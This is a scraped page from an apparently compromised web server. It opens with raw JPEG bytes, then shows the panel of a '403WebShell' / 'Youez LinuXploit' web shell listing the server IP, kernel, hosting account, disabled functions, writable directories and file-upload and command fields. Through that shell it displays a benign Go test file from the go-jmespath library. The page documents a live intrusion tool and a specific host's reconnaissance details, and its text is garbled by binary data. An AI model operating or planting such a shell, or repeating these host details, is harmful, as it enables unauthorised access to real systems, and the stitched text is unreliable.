JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.38  /  Your IP : 216.73.216.250
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/opt/go/pkg/mod/github.com/jmespath/go-jmespath@v0.4.0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/opt/go/pkg/mod/github.com/jmespath/go-jmespath@v0.4.0/interpreter_test.go
package jmespath

import (
	"encoding/json"
	"testing"

	"github.com/jmespath/go-jmespath/internal/testify/assert"
)

type scalars struct {
	Foo string
	Bar string
}

type sliceType struct {
	A string
	B []scalars
	C []*scalars
}

type benchmarkStruct struct {
	Fooasdfasdfasdfasdf string
}

type benchmarkNested struct {
	Fooasdfasdfasdfasdf nestedA
}

type nestedA struct {
	Fooasdfasdfasdfasdf nestedB
}

type nestedB struct {
	Fooasdfasdfasdfasdf nestedC
}

type nestedC struct {
	Fooasdfasdfasdfasdf string
}

type nestedSlice struct {
	A []sliceType
}

func TestCanSupportEmptyInterface(t *testing.T) {
	assert := assert.New(t)
	data := make(map[string]interface{})
	data["foo"] = "bar"
	result, err := Search("foo", data)
	assert.Nil(err)
	assert.Equal("bar", result)
}

func TestCanSupportUserDefinedStructsValue(t *testing.T) {
	assert := assert.New(t)
	s := scalars{Foo: "one", Bar: "bar"}
	result, err := Search("Foo", s)
	assert.Nil(err)
	assert.Equal("one", result)
}

func TestCanSupportUserDefinedStructsRef(t *testing.T) {
	assert := assert.New(t)
	s := scalars{Foo: "one", Bar: "bar"}
	result, err := Search("Foo", &s)
	assert.Nil(err)
	assert.Equal("one", result)
}

func TestCanSupportStructWithSliceAll(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", B: []scalars{{"f1", "b1"}, {"correct", "b2"}}}
	result, err := Search("B[].Foo", data)
	assert.Nil(err)
	assert.Equal([]interface{}{"f1", "correct"}, result)
}

func TestCanSupportStructWithSlicingExpression(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", B: []scalars{{"f1", "b1"}, {"correct", "b2"}}}
	result, err := Search("B[:].Foo", data)
	assert.Nil(err)
	assert.Equal([]interface{}{"f1", "correct"}, result)
}

func TestCanSupportStructWithFilterProjection(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", B: []scalars{{"f1", "b1"}, {"correct", "b2"}}}
	result, err := Search("B[? `true` ].Foo", data)
	assert.Nil(err)
	assert.Equal([]interface{}{"f1", "correct"}, result)
}

func TestCanSupportStructWithSlice(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", B: []scalars{{"f1", "b1"}, {"correct", "b2"}}}
	result, err := Search("B[-1].Foo", data)
	assert.Nil(err)
	assert.Equal("correct", result)
}

func TestCanSupportStructWithOrExpressions(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", C: nil}
	result, err := Search("C || A", data)
	assert.Nil(err)
	assert.Equal("foo", result)
}

func TestCanSupportStructWithSlicePointer(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", C: []*scalars{{"f1", "b1"}, {"correct", "b2"}}}
	result, err := Search("C[-1].Foo", data)
	assert.Nil(err)
	assert.Equal("correct", result)
}

func TestWillAutomaticallyCapitalizeFieldNames(t *testing.T) {
	assert := assert.New(t)
	s := scalars{Foo: "one", Bar: "bar"}
	// Note that there's a lower cased "foo" instead of "Foo",
	// but it should still correspond to the Foo field in the
	// scalars struct
	result, err := Search("foo", &s)
	assert.Nil(err)
	assert.Equal("one", result)
}

func TestCanSupportStructWithSliceLowerCased(t *testing.T) {
	assert := assert.New(t)
	data := sliceType{A: "foo", B: []scalars{{"f1", "b1"}, {"correct", "b2"}}}
	result, err := Search("b[-1].foo", data)
	assert.Nil(err)
	assert.Equal("correct", result)
}

func TestCanSupportStructWithNestedPointers(t *testing.T) {
	assert := assert.New(t)
	data := struct{ A *struct{ B int } }{}
	result, err := Search("A.B", data)
	assert.Nil(err)
	assert.Nil(result)
}

func TestCanSupportFlattenNestedSlice(t *testing.T) {
	assert := assert.New(t)
	data := nestedSlice{A: []sliceType{
		{B: []scalars{{Foo: "f1a"}, {Foo: "f1b"}}},
		{B: []scalars{{Foo: "f2a"}, {Foo: "f2b"}}},
	}}
	result, err := Search("A[].B[].Foo", data)
	assert.Nil(err)
	assert.Equal([]interface{}{"f1a", "f1b", "f2a", "f2b"}, result)
}

func TestCanSupportFlattenNestedEmptySlice(t *testing.T) {
	assert := assert.New(t)
	data := nestedSlice{A: []sliceType{
		{}, {B: []scalars{{Foo: "a"}}},
	}}
	result, err := Search("A[].B[].Foo", data)
	assert.Nil(err)
	assert.Equal([]interface{}{"a"}, result)
}

func TestCanSupportProjectionsWithStructs(t *testing.T) {
	assert := assert.New(t)
	data := nestedSlice{A: []sliceType{
		{A: "first"}, {A: "second"}, {A: "third"},
	}}
	result, err := Search("A[*].A", data)
	assert.Nil(err)
	assert.Equal([]interface{}{"first", "second", "third"}, result)
}

func TestCanSupportSliceOfStructsWithFunctions(t *testing.T) {
	assert := assert.New(t)
	data := []scalars{scalars{"a1", "b1"}, scalars{"a2", "b2"}}
	result, err := Search("length(@)", data)
	assert.Nil(err)
	assert.Equal(result.(float64), 2.0)
}

func BenchmarkInterpretSingleFieldStruct(b *testing.B) {
	intr := newInterpreter()
	parser := NewParser()
	ast, _ := parser.Parse("fooasdfasdfasdfasdf")
	data := benchmarkStruct{"foobarbazqux"}
	for i := 0; i < b.N; i++ {
		intr.Execute(ast, &data)
	}
}

func BenchmarkInterpretNestedStruct(b *testing.B) {
	intr := newInterpreter()
	parser := NewParser()
	ast, _ := parser.Parse("fooasdfasdfasdfasdf.fooasdfasdfasdfasdf.fooasdfasdfasdfasdf.fooasdfasdfasdfasdf")
	data := benchmarkNested{
		nestedA{
			nestedB{
				nestedC{"foobarbazqux"},
			},
		},
	}
	for i := 0; i < b.N; i++ {
		intr.Execute(ast, &data)
	}
}

func BenchmarkInterpretNestedMaps(b *testing.B) {
	jsonData := []byte(`{"fooasdfasdfasdfasdf": {"fooasdfasdfasdfasdf": {"fooasdfasdfasdfasdf": {"fooasdfasdfasdfasdf": "foobarbazqux"}}}}`)
	var data interface{}
	json.Unmarshal(jsonData, &data)

	intr := newInterpreter()
	parser := NewParser()
	ast, _ := parser.Parse("fooasdfasdfasdfasdf.fooasdfasdfasdfasdf.fooasdfasdfasdfasdf.fooasdfasdfasdfasdf")
	for i := 0; i < b.N; i++ {
		intr.Execute(ast, data)
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit